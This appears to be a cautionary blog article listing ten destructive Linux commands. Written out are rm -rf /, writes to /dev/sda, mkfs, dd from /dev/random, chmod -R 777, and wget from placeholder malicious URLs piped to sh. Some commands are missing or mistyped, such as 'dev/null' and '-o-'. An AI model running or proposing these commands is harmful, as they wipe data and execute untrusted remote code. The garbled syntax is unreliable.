10 Deadly Commands that You Should Never Run on Linux

Linux operating system provides its users with more independence as compared to Windows or any other operating system. While for some experienced developers, the Linux operating system provides freedom to carry out operations, it could also mar the freedom provided to these developers. While every technology has its pros and con, so does Linux. It is of utmost importance that the user should have ample understanding of safe and deadly commands before executing. Here, we are going to discuss the deadly commands that you should never run without a full understanding of what they mean.

1. Recursive Deletion

One of the fastest ways to delete a folder and its contents is the rm -rf command. It has gained popularity over the years as it has overcome the error faced in Windows when file or folder is deleted. This command wipes off everything on the file, folder or hard disk it is run on. Let’s break down the command and understand what it really stands for:

rm – Remove all the files in the locations given

-rf – This command is further divided into two parts: r and f. r stand for removing all the files recursively while f stands for a force which means that delete all the files without prompting the user.

There are a number of variations of this command available over the internet. It is important to understand that one should know what a command does once running on a specific folder or the data can be lost. Data lost from this command cannot be recovered in any way.

  • rm – This command is used to delete files all the files in the path that you will provide
  • rm -r – This command is used to delete files recursively from all directories and sub-directories in Linux Operation System.
  • rm -f – This command is used to delete files on the path provided without prompting the user. This also includes deleting the “Read Only Files”.
  • rm -rf / – This is one of the most dangerous commands as the / refers to the root directory of the operating system. Once this command is run, it deletes all the content of the root directory forcefully and recursively. Thus, all your directories and subdirectories will be deleted and the data will be lost.
  • rm -rf * – This command forcefully deletes all the data in the working directory
  • rm -rf. –  This command forcefully deletes the files in the current working directory as well as sub-directories. It also removes all the configuration files in the directory.

2. Fork Bomb

As Linux operates on Bash therefore, it is important to understand what the command is going to do to your system before you execute it. This is a simple bash function which once executed creates copies of itself which in turn creates another set of copies of itself. This consumes the CPU time and memory. Thus, it runs recursively until the system freezes.


3. Overwrite Hard Drive

If you have executed the following command by mistake or accidentally on your hard drive, then recovery is quite impossible.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Implode Hard Drive

Like the saying “There is more than one way to skin a cat”, there is more than one way to destroy your hard disk. In every Linux system, dev/null is a special location which is denoted as a black hole. Anything moved to this black hole is destroyed. If you have accidentally moved your data to this folder, your data is not going to be recovered anyway.

mv /home/root/*  dev/null

The abovementioned command moves all the data in the home/root folder to the black hole thus resulting in data loss. Let’s break down the command to understand what each section does.

mv - This command is used for moving a folder to another location

/home/root/* – This is the location of the folder which is going to be moved

dev/null – A special location denoted as the black hole

Thus, you should be careful while running the move command. Make sure that the location that you are moving your folder to exists on the system.

5. Download Malicious Script

We all are aware of the benefits of “wget” command in Linux but what we are not aware of is that it can download malicious scripts and viruses as well as beneficial software. If you have by chance run one of the following commands, you will understand what this is all about.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

The above-mentioned commands download the content from the URL provided and run the downloaded script.

6. Format Hard Drive

There is another command to wipe out your hard drive and makes it new. These should only be used in instances when you have either have your data backup on the cloud or external device.

mkfs.ext3 /dev/sda

Running this command is identical to running a full format on C drive in windows in which all the file will be wiped clean from the drive and it is ready for new installation. To make it easier for you to understand. Let’s break down this command.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Together, when this command is executed, it formats the specified partition on the hard drive and reformats it according to the specified file system which is ext3 in the abovementioned command. Therefore, it is very important to understand what the command does before running on your system and losing all the data.

7. Flush File Contents

The command for flushing file contents is an easy one and one that can be executed in any instance.


If you have ever executed any command with the abovementioned type, you would have seen that the contents of the specified file must have been flushed. “>” is responsible for flushing the contents of the file, therefore, double check the command you are executing.

8. Edit Previous Command

This command is a blessing and a curse. While it makes it easier not to type all the previous command again and execute it, it can also infuse malicious content in your previously run command. Therefore, it is necessary to be sure if it’s suitable for you to use this command.


9. Write Random Junk to Hard Drive

If you have ever come across the below-mentioned command, then congratulations you might have also seen random junk being written onto your hard drive if you crazy enough to actually execute this command. The aftereffects of this command are that your system will not be recovered.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

This command doesn’t physically affect your system as all the other commands do as discussed in each section but this provides a security breach on the system. By executing this command, you are providing all the users of the system to be able to read, write and execute data on your file system. Thus, use this command wisely.

Hope this detailed information about the deadly commands will prevent you from losing your data from your system. Let us know in the comment section below if this helped you out or not.